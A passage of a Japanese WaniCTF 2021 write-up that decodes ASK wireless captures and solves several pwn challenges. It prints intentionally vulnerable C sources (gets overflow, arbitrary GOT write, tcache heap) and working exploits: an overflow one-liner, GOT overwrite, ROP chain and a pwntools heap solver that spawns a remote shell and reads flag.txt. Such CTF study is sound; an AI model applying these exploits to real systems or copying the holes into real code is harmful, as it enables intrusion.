    if i % 8 == 7:
        result.append(tmp)
        tmp = 0
print(result)
$ ./solve.py
bytearray(b"\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW\'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW\'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB")
$

bytes出力なので1行が長いですが、フラグを入手できました: FLAG{please-understand-frame-format-of-wireless-communication}

[Misc, Hard] ASK over the air (367pt, 16solved)

    無線通信問題3問目です。
    ASK変調したデータを電波で飛ばしてUSRPでキャプチャしたデータです。
    フレームフォーマットはdigital ASKと同じです。
    I信号とQ信号に分かれているところが若干トリッキーですが、digital ASKが解けたなら行けるはず...
    実機使ったので謎のパルスノイズが乗っていますが、無視してください。

配布ファイルを確認すると、以下のようなこれまでとは違う列を持つask-over-the-air.csvが含まれていました:

time,I,Q
0.000000 ,-3.05E-05,-1.53E-04
0.000004 ,-1.22E-04,-1.53E-04
0.000008 ,-3.05E-05,-6.10E-05
0.000012 ,-3.05E-05,0.00E+00
(以下省略)

「I信号とQ信号からどうやって振幅を求めるのか?」と調べてみると、ダイレクトコンバージョン受信機 - Wikipediaを見つけました。それによると振幅 m_t = sqrt(I_t^2 + Q_t^2)とのことです。

どのようの値取るのか気になったのでプロットしてみました。プロット結果を眺めていると、16要素ずつパルスのようなものが出ていることがある点に気づきました。また、(パルスが目立っているので気づくまで数時間かかりました、これが問題文で言及されているパルスノイズみたいです)パルス要素を無視すると振幅の0/1が現れているようで、それを目で解釈すると前の問題と同じ0xAA, 0xAA, 0xAA, 0xAA, 0xE5の構造を見つけました:

分かったことを基に、復号するソルバーを書きました。データが1バイトの途中のビットから始まっていてもいいように、ビット0を先頭に足すためのループを入れています。プロットする処理も残しています:

#!/usr/bin/env python3.8

import ast
import math
import matplotlib.pyplot as plt

SAMPLES_PER_BIT = 16

time_list = []
original_iq_list = []
with open("ask-over-the-air.csv") as f:
    for line in f:
        if line.startswith("time,I,Q"): continue
        elements = list(map(ast.literal_eval, line.split(",")))
        time_list.append(elements[0])
        original_iq_list.append((elements[1], elements[2]))
amplitude_list = list(map(lambda t:math.sqrt(t[0]**2 + t[1]**2), original_iq_list))

plt.figure(figsize=(10000/96, 200/96))

plt.subplot(211)
plt.plot(time_list, list(map(lambda t:t[0], original_iq_list)), color="red")
plt.plot(time_list, list(map(lambda t:t[1], original_iq_list)), color="blue")

plt.subplot(212)
for t in time_list[::SAMPLES_PER_BIT]:
    plt.axvline(x=t, color="gray")
plt.plot(time_list, amplitude_list, color="black")
plt.savefig("plot_test.png")
plt.clf()

def check(threshold, check_interval, offset, prefix_bits):
    original_bits = list(prefix_bits)
    for (i, amplitude) in enumerate(amplitude_list):
        if (i+offset)%check_interval == 0:
            original_bits.append(int(amplitude > threshold))

    result = bytearray()
    tmp = 0
    for (i, b) in enumerate(original_bits):
        tmp = (tmp << 1) | b
        if i % 8 == 7:
            result.append(tmp)
            tmp = 0

    for b in result:
        print(chr(b) if 0x20<=b<0x7F else ".", end="")
    print()

prefix_bits = []
for _ in range(8):
    check_interval = SAMPLES_PER_BIT
    offset = SAMPLES_PER_BIT//2
    threshold = 0.0005
    check(threshold, check_interval, offset, prefix_bits)

    prefix_bits.append(0)
$ ./solve.py
............1.......................%.P................(....
......UUUU.........Z...Z......Z....Z...Z....................
...........FLAG{you-can-decode-many-IoT-communications}.....
......UUUUr.& ...........2...2....<...........4...4..9.......
......*....Q..Q..[.KX.[.Y.X...K[X[.KR[..X..[][.X.].[...B.....
.......UUU\...(.o-...l-....m.....-.%.-...m.....,l..-..o.@....
...........Td..w...R.6...FV6.FR........B.6...V..6.F...7......
.......UUUW*2b.;..{.k..qk#+.{#)kk.s.jKz.k.{kk.sK...K{s..P....
$

フラグを入手できました: FLAG{you-can-decode-many-IoT-communications}

[Pwn, Beginner] nc (144pt, 241solved)

nc nc.pwn.wanictf.org 9001

ヒント

    netcat (nc)と呼ばれるコマンドを使うだけです。
    つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
    Linuxの基本的なコマンド集
    pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。

使用ツール例

    netcat (nc)

配布ファイルを確認すると、ELFバイナリと、その元となるCソースコードが含まれていました:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init();

void win() {
  puts("welcome to WaniCTF 2021!!!");
  system("/bin/sh");
  exit(0);
}

int main() {
  init();
  win();
}

void init() {
  alarm(100);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

接続するだけでシェルを貰えそうです。とりあえず問題文のとおりにnc接続しました:

$ nc nc.pwn.wanictf.org 9001 -q 0
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}
$

フラグを入手できました: FLAG{the-1st-step-to-pwn-is-netcatting}

[Pwn, Beginner] BOF (153pt, 197solved)

よーし、今日も魔王を倒しに行くか!

...あれ、ふっかつのじゅもんが違う...だと...?

nc bof.pwn.wanictf.org 9002

ヒント

    title を調べてみましょう。

配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char flag[0x34];

void setup() {
  FILE *f = NULL;

  alarm(60);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  if ((f = fopen("flag.txt", "rt")) == NULL) {
    printf("NotFound::flag.txt\n");
    exit(0);
  }
  fscanf(f, "%s", flag);
  fclose(f);
}

int main() {
  char password[0x34] = "";
  int ok = 0;

  setup();

  printf("ふっかつのじゅもんを いれてください\n");
  gets(password);

  if (strcmp(password, flag) == 0)
    ok = 1;

  if (ok) {
    printf("よくぞもどられた!\n");
    printf("%s\n", flag);
  } else {
    printf("じゅもんが ちがいます\n");
  }
}

getsを使っているのでバッファオーバーフローが可能です。それによりok変数を上書きできてフラグを入手できそうです。とりあえず適当な文字数を送信しました:

$ python3.8 -c 'print("A"*0x40)' | nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
$

フラグを入手できました: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

[Pwn, Easy] got rewriter (170pt, 142solved)

ヒント

    「参考になるwriteupを探す練習」用の問題です。
    CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
    この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。

「過去問検索練習用問題、そういうのもありなのか」と思いながら配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init();

void win() {
  printf("congratulation!\n");
  system("/bin/sh");
  exit(0);
}

unsigned long int get_val() {
  char str_val[0x20];
  int ret;
  unsigned long int val;
  ret = read(0, str_val, 0x20 - 1);
  str_val[ret] = 0;
  val = strtol(str_val, NULL, 16);
  return val;
}

void vuln() {
  char str_val[0x20];
  unsigned long int val;
  unsigned long int *p;
  int ret;

  printf("Please input target address (0x600000-0x700000): ");
  val = get_val();
  printf("Your input address is 0x%lx.\n", val);
  if (val < 0x600000 || val > 0x700000) {
    printf("you can't rewrite 0x%lx!\n", val);
    return;
  }
  p = (unsigned long int *)val;

  printf("Please input rewrite value: ");
  val = get_val();
  printf("Your input rewrite value is 0x%lx.\n\n", val);

  printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val);
  *p = val;
}

int main() {
  init();
  printf("Welcome to GOT rewriter!!!\n");
  printf("win = 0x%lx\n", (unsigned long int)win);
  while (1) {
    vuln();
  }
}

void init() {
  alarm(0x100);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

問題タイトルの通り、GOT上書きを行う問題と考えました。とりあえずchecksecを試すと、PIEが無効化されているのでELF中のアドレスは固定されていそうです:

$ gdb -q got
Reading symbols from got...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$

GOT箇所のアドレス検索は何を使えばいいんだっけと思いながらとりあえずIDAに投げると、IDAでもちゃんと分かりました:

.got.plt:0000000000601000     ; Segment type: Pure data
.got.plt:0000000000601000     ; Segment permissions: Read/Write
.got.plt:0000000000601000     _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000601000                     assume cs:_got_plt
.got.plt:0000000000601000                     ;org 601000h
.got.plt:0000000000601000     _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008     qword_601008    dq 0                    ; DATA XREF: sub_400680↑r
.got.plt:0000000000601010     qword_601010    dq 0                    ; DATA XREF: sub_400680+6↑r
.got.plt:0000000000601018     off_601018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000601020     off_601020      dq offset __stack_chk_fail
.got.plt:0000000000601020                                             ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000601028     off_601028      dq offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0000000000601030     off_601030      dq offset system        ; DATA XREF: _system↑r
.got.plt:0000000000601038     off_601038      dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000601040     off_601040      dq offset alarm         ; DATA XREF: _alarm↑r
.got.plt:0000000000601048     off_601048      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000601050     off_601050      dq offset strtol        ; DATA XREF: _strtol↑r
.got.plt:0000000000601058     off_601058      dq offset exit          ; DATA XREF: _exit↑r
.got.plt:0000000000601058     _got_plt        ends

今回の問題の場合は0x600000~0x700000の範囲が上書き可能で、その範囲に含まれていることも分かります。どの関数のGOTを改ざんしようと考えてみたところ、printf関数はwin関数呼び出し時にお祝いのために使われているので残すことにして、他にループ中に使われているstrtol関数を改ざんすることにしました。そういうわけでncコマンドで接続して手打ちしました:

$ nc got-rewriter.pwn.wanictf.org 9003 -q 0
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x0000000000601050
Your input address is 0x601050.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601050 <- 0x400807.


Please input target address (0x600000-0x700000): 0
congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
$

フラグを入手できました: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup} (いいえ趣味)

[Pwn, Easy] rop-machine-returns (179pt, 122solved)

nc rop-machine-returns.pwn.wanictf.org 9004

ヒント

    「参考になるwriteupを探す練習」用の問題です。
    CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
    rop-machineを使った問題はWaniCTF'21-springでも出しています。
    githubでwanictf rop writeupで検索すると何か出てくるかもしれません。
    rop machineの使い方->wani-hackase/rop-machine

配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:

#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

char *name_gadgets[16];
u_int64_t addr_gadgets[16];
char binsh[] = "/bin/sh";

void rop_pop_rdi();
void rop_syscall();

void init() {
  alarm(0x100);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void create_gadgets_table() {
  name_gadgets[0] = "execute";
  name_gadgets[1] = "push value";
  name_gadgets[2] = "pop rdi; ret";
  name_gadgets[3] = "system";

  addr_gadgets[0] = 0;
  addr_gadgets[1] = 0;
  addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8;
  addr_gadgets[3] = ((u_int64_t)system);
}

void rop_pop_rdi() {
  __asm__("pop %rdi\n\t"
          "ret\n\t");
}

char *get_rop_name(u_int64_t addr) {
  int i;
  for (i = 0; i < 7; i++) {
    if (addr_gadgets[i] == 0) {
      continue;
    }

    if (addr_gadgets[i] == addr) {
      return name_gadgets[i];
    }
  }

  return NULL;
}

void print_menu() {
  printf("\n\"%s\" address is %p\n", binsh, binsh);
  printf("\n[menu]\n"
         "1. append hex value\n"
         "2. append \"pop rdi; ret\" addr\n"
         "3. append \"system\" addr\n"
         "8. show menu (this one)\n"
         "9. show rop_arena\n"
         "0. execute rop\n");
}

u_int64_t get_uint64() {
  char buf[64];
  u_int64_t ret;
  ret = read(0, buf, 63);
  buf[ret] = 0;
  ret = strtoul(buf, NULL, 16);
  return ret;
}

u_int64_t menu() {
  u_int64_t ret;

  printf("> ");
  ret = get_uint64();
  return ret;
}

void show_arena(u_int64_t *rop_arena, int index) {
  int i;
  puts("     rop_arena");
  puts("+--------------------+");
  for (i = 0; i < index; i++) {
    char *name = get_rop_name(rop_arena[i]);
    if (name != NULL) {
      printf("| %-18s |", name);
    } else {
      printf("| 0x%016lx |", rop_arena[i]);
    }

    if (i == 0) {
      printf("<- rop start");
    }

    printf("\n");
    puts("+--------------------+");
  }
}

void rop_machine() {
  u_int64_t rop_arena[128];
  u_int64_t *top = rop_arena;
  int index = 0;
  u_int64_t ret;

  print_menu();

  while (1) {
    int cmd = menu();
    switch (cmd) {
    case 1:
      printf("hex value?: ");
      ret = get_uint64();
      rop_arena[index] = ret;
      index++;
      printf("0x%016lx is appended\n", ret);
      break;
    case 2:
    case 3:
      rop_arena[index] = addr_gadgets[cmd];
      printf("\"%s\" is appended\n", name_gadgets[cmd]);
      index++;
      break;
    case 8:
      print_menu();
      break;
    case 9:
      show_arena(rop_arena, index);
      break;
    case 0:
      show_arena(rop_arena, index);
      {
        register u_int64_t rsp asm("rsp");
        rsp = (u_int64_t)rop_arena;
        __asm__("ret");
        exit(0);
      }
    default:
      puts("bye!!!\n");
      exit(1);
      break;
    }
  }
}

int main() {
  init();
  puts("welcome to rop-machine-returns!!!");
  create_gadgets_table();
  rop_machine();
}

「pop rdi」ガジェット、"/bin/sh"アドレス、system関数、の順にROPを組めば良さそうです。そういうわけでncで接続して手打ちしました:

$ nc rop-machine-returns.pwn.wanictf.org 9004 -q 0
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}
Segmentation fault (core dumped)
$

フラグを入手できました: FLAG{please-learn-how-to-use-rop-machine}

[Pwn, Normal] baby_heap (250pt, 51solved)

Tcache poisoningを練習するための問題です。

    自由にmallocとfreeと書き込みができます。
    freeされたchunkにはデータの代わりにfdというアドレスが残ります。
    fd(forward)はLast-In-First-OutのLinked Listで構成されます。
    malloc先はこのfdのアドレスを参照して決められます。
    main_retにmallocしてsystem('/bin/sh')を書いてmain関数を終了しましょう。

懺悔します。親切な表示やヒントを見ながらよくわからないまま入力していたら解けてしまいました。

ひとまず、配布ファイルは同じようにELFバイナリと、その元となるCソースコードが含まれていました:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
  alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void menu() {
  printf("1. malloc\n");
  printf("2. free\n");
  printf("3. write\n");
  printf("4. exit\n>");
}

void win() { system("/bin/sh"); }

void print_fd(long long int entry, int count) {
  long long int array[5] = {
      0,
  };
  long long int *temp;
  temp = (void *)entry;
  printf("\n!! Segfault may happen when fd isn't readable address\n");
  printf("fd >>> ");
  for (int i = 0; i < count && temp > 0xFFFFFFFF && temp < 0x7FFFFFFFFFFF;
       i++) {
    array[i] = *temp;
    printf("0x%llx ", array[i]);
    temp = (void *)array[i];
  }
  if (temp < 0xFFFFFFFF || temp > 0x7FFFFFFFFFFF)
    printf("Maybe Segfault from here...");
  printf("\n\n");
  printf("Will be allocated for the next malloc\n\n");
}

void print_info(char **list) {
  unsigned long r;

  for (int i = 0; i < 5; i++) {
    unsigned long long *p;
    unsigned long long *k;
    p = (unsigned long long *)(list[i]);
    k = (unsigned long long *)(list[i] + 8);
    printf("[%d] : ", i);
    if (list[i] == NULL)
      printf("Not Allocated\n");
    else if (*k != 0) {
      printf("Free Chunk\n");
      printf("Chunk at>%p\n", list[i]);
      printf("fd : 0x%llx\n", *p);
    } else {
      printf("Allocated Chunk\n");
      printf("Chunk at>%p\n", list[i]);
      printf("Data : %s\n", list[i]);
    }
  }
}

int main() {
  int idx;
  int choice;

  char *head;
  char *heap_list[5] = {
      NULL,
  };

  long long int entry;
  int *fd_count;

  init();
  head = (char *)malloc(0x10 * sizeof(char));
  entry = head - 0x2a0 + 0x90;
  fd_count = head - 0x2a0 + 0x10;

  while (choice != 4) {
    printf("Do arbitrary write using tcache bin.\n");
    printf("ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31\n");
    printf("malloc is fixed at size 0x10\n");
    printf("\nsystem('/bin/sh') at >0x%llx\n", (long long int)win + 0x8);
    printf("Return address of main at >0x%llx\n\n", (long long int)&idx + 0x68);
    printf("Bin count >%d\n", *fd_count);
    print_fd(entry, *fd_count);
    print_info(heap_list);
    printf("---------------\n");
    menu();
    scanf("%d", &choice);
    if (choice < 1 || choice > 4) {
      printf("Out of Boundary\n");
      exit(-1);
    }
    switch (choice) {

    case 1:
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        heap_list[idx] = (char *)malloc(0x10 * sizeof(char));
        memset(heap_list[idx], 0, 0x10);
      }
      break;

    case 2:
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        free(heap_list[idx]);
      }
      break;
    case 3:
      printf("What will happen if you can write fd of free chunk?\n");
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        printf("What? ( ex: 0x123456 )>");
        scanf("%p", heap_list[idx]);
      }
    }
    printf("\n");
  }
}

手元ではELFを実行しても即SegmantationFaultとなってしまいました:

$ ./chall
Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x5575914f1342
Return address of main at >0x7fffdecc32f8

Segmentation fault
$

(2021/11/07 22:35追記)配布ファイルの中に、Dockerfile等が含まれていることを見逃していました。おそらくそれで環境を構築すると正常に実行できるんだと思います。

とりあえずncで接続して試すと、system("/bin/sh")してくれるアドレスと、main関数の戻りアドレスの位置を毎回示してくれて、かつmalloc, free, writeを何度でもできる内容でした。また、新規mallocに使われるfdも表示してくれました。

それでここからが全然分かっていないんですが、malloc2回、それら2つともfree、freeした2つにmain関数戻りアドレス書き込みをすると、fd箇所にmainの戻りアドレスが現れました:

(freeしたものの1つ目にだけmain関数戻りアドレスを書き込んだ状態)
fd >>> 0x559544f582e0 0x559544f582c0
           ↑
Will be allocated for the next malloc

[0] : Free Chunk
Chunk at>0x559544f582c0
fd : 0x7ffc0881b438
[1] : Free Chunk
Chunk at>0x559544f582e0
fd : 0x559544f582c0
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit
>3
What will happen if you can write fd of free chunk?
Where? >1
What? ( ex: 0x123456 )>0x7ffc0881b438

Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x5595437cc342
Return address of main at >0x7ffc0881b438

Bin count >2

!! Segfault may happen when fd isn't readable address
fd >>> 0x559544f582e0 0x7ffc0881b438
           ↑
Will be allocated for the next malloc

[0] : Free Chunk
Chunk at>0x559544f582c0
fd : 0x7ffc0881b438
[1] : Free Chunk
Chunk at>0x559544f582e0
fd : 0x7ffc0881b438
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit

後は別に2回mallocすると、2回目に返されるチャンクがmain戻りアドレス箇所になっており、そこをsystem("/bin/sh")アドレスへ改ざんしてexitするとシェルが取れました。とりあえずソルバーに直したものがこちらです:

#!/usr/bin/env python3.8

import pwn
import ast

def solve(tube):
    tube.readuntil(b"system('/bin/sh') at >")
    address_system = ast.literal_eval(tube.readlineS())

    tube.readuntil(b"Return address of main at >")
    address_return_of_main = ast.literal_eval(tube.readlineS())

    # malloc2回
    tube.sendlineafter(b">", b"1")
    tube.sendlineafter(b"Where? >", b"0")
    tube.sendlineafter(b">", b"1")
    tube.sendlineafter(b"Where? >", b"1")

    # free2回
    tube.sendlineafter(b">", b"2")
    tube.sendlineafter(b"Where? >", b"0")
    tube.sendlineafter(b">", b"2")
    tube.sendlineafter(b"Where? >", b"1")

    # free先chunkのfdにmain戻りアドレスを書き込み、らしい
    tube.sendlineafter(b">", b"3")
    tube.sendlineafter(b"Where? >", b"0")
    tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_return_of_main).encode())
    tube.sendlineafter(b">", b"3")
    tube.sendlineafter(b"Where? >", b"1")
    tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_return_of_main).encode())

    # 2回malloc、2回目にmain戻りアドレスがチャンクとして割り当てられる
    tube.sendlineafter(b">", b"1")
    tube.sendlineafter(b"Where? >", b"2")
    tube.sendlineafter(b">", b"1")
    tube.sendlineafter(b"Where? >", b"3")

    # main戻りアドレスの改ざん
    tube.sendlineafter(b">", b"3")
    tube.sendlineafter(b"Where? >", b"3")
    tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_system).encode())

    # mainを終了させてシェル起動
    tube.sendlineafter(b">", b"4")
    tube.clean()
    tube.interactive()

with pwn.remote("babyheap.pwn.wanictf.org", 9006) as tube:
    solve(tube)
$ ./solve.py
[+] Opening connection to babyheap.pwn.wanictf.org on port 9006: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{This_is_Hint_for_the_diva}$
[*] Closed connection to babyheap.pwn.wanictf.org port 9006
$

ヒープのことを何も理解できていませんが、フラグは入手できました: FLAG{This_is_Hint_for_the_diva}

[Pwn, Hard] rop-machine-final (285pt, 36solved)

nc rop-machine-final.pwn.wanictf.org 9005

ヒント

    ./flag.txtにフラグが書かれています。
    "buf"のアドレスは提供されています。
    rop machineの使い方->wani-hackase/rop-machine
    sample.pyを使うと楽です。

使用ツール例

    pwntools

配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:

#include <fcntl.h>
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

// for compatibility
extern char *gets(char *s);

char *name_gadgets[16];
u_int64_t addr_gadgets[16];
char buf[128];

void rop_pop_rdi();
void rop_pop_rsi();
void rop_pop_rdx();

void init() {
  alarm(300);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void create_gadgets_table() {
  name_gadgets[0] = "execute";
  name_gadgets[1] = "push value";
  name_gadgets[2] = "pop rdi; ret";
  name_gadgets[3] = "pop rsi; ret";
  name_gadgets[4] = "pop rdx; ret";
  name_gadgets[5] = "gets";
  name_gadgets[6] = "open";
  name_gadgets[7] = "read";
  name_gadgets[8] = "write";

  addr_gadgets[0] = 0;
  addr_gadgets[1] = 0;
  addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8;
  addr_gadgets[3] = ((u_int64_t)rop_pop_rsi) + 8;
  addr_gadgets[4] = ((u_int64_t)rop_pop_rdx) + 8;
  addr_gadgets[5] = ((u_int64_t)gets);
  addr_gadgets[6] = ((u_int64_t)open);
  addr_gadgets[7] = ((u_int64_t)read);
  addr_gadgets[8] = ((u_int64_t)write);
}

void rop_pop_rdi() {
  __asm__("pop %rdi\n\t"
          "ret\n\t");
}

void rop_pop_rsi() {
  __asm__("pop %rsi\n\t"
          "ret\n\t");
}

void rop_pop_rdx() {
  __asm__("pop %rdx\n\t"
          "ret\n\t");
}

char *get_rop_name(u_int64_t addr) {
  int i;
  for (i = 0; i < 10; i++) {
    if (addr_gadgets[i] == 0) {
      continue;
    }

    if (addr_gadgets[i] == addr) {
      return name_gadgets[i];
    }
  }

  return NULL;
}

void print_menu() {
  printf("\n\"buf\" address is %p\n", buf);
  printf("\n[menu]\n"
         "0x01. append hex value\n"
         "0x02. append \"pop rdi; ret\" addr\n"
         "0x03. append \"pop rsi; ret\" addr\n"
         "0x04. append \"pop rdx; ret\" addr\n"
         "0x05. append \"gets\" addr\n"
         "0x06. append \"open\" addr\n"
         "0x07. append \"read\" addr\n"
         "0x08. append \"write\" addr\n"
         "0x0a. show menu (this one)\n"
         "0x0b. show rop_arena\n"
         "0x00. execute rop\n");
}

u_int64_t get_uint64() {
  char buf[64];
  u_int64_t ret;
  ret = read(0, buf, 63);
  buf[ret] = 0;
  ret = strtoul(buf, NULL, 16);
  return ret;
}

u_int64_t menu() {
  u_int64_t ret;

  printf("> ");
  ret = get_uint64();
  return ret;
}

void show_arena(u_int64_t *rop_arena, int index) {
  int i;
  puts("             rop_arena");
  puts("+-----------------------------------+");
  for (i = 0; i < index; i++) {
    char *name = get_rop_name(rop_arena[i]);
    if (name != NULL) {
      printf("| 0x%016lx (%-12s) |", rop_arena[i], name);
    } else {
      printf("| 0x%031lx |", rop_arena[i]);
    }

    if (i == 0) {
      printf("<- rop start");
    }

    printf("\n");
    puts("+-----------------------------------+");
  }
}

void rop_machine() {
  u_int64_t rop_arena[128];
  u_int64_t *top = rop_arena;
  int index = 0;
  u_int64_t ret;

  print_menu();

  while (1) {
    int cmd = menu();
    printf("cmd = 0x%x\n", cmd);
    switch (cmd) {
    case 1:
      printf("hex value?: ");
      ret = get_uint64();
      rop_arena[index] = ret;
      index++;
      printf("0x%016lx is appended\n", ret);
      break;
    case 2:
    case 3:
    case 4:
    case 5:
    case 6:
    case 7:
    case 8:
      rop_arena[index] = addr_gadgets[cmd];
      printf("\"%s\" addr is appended\n", name_gadgets[cmd]);
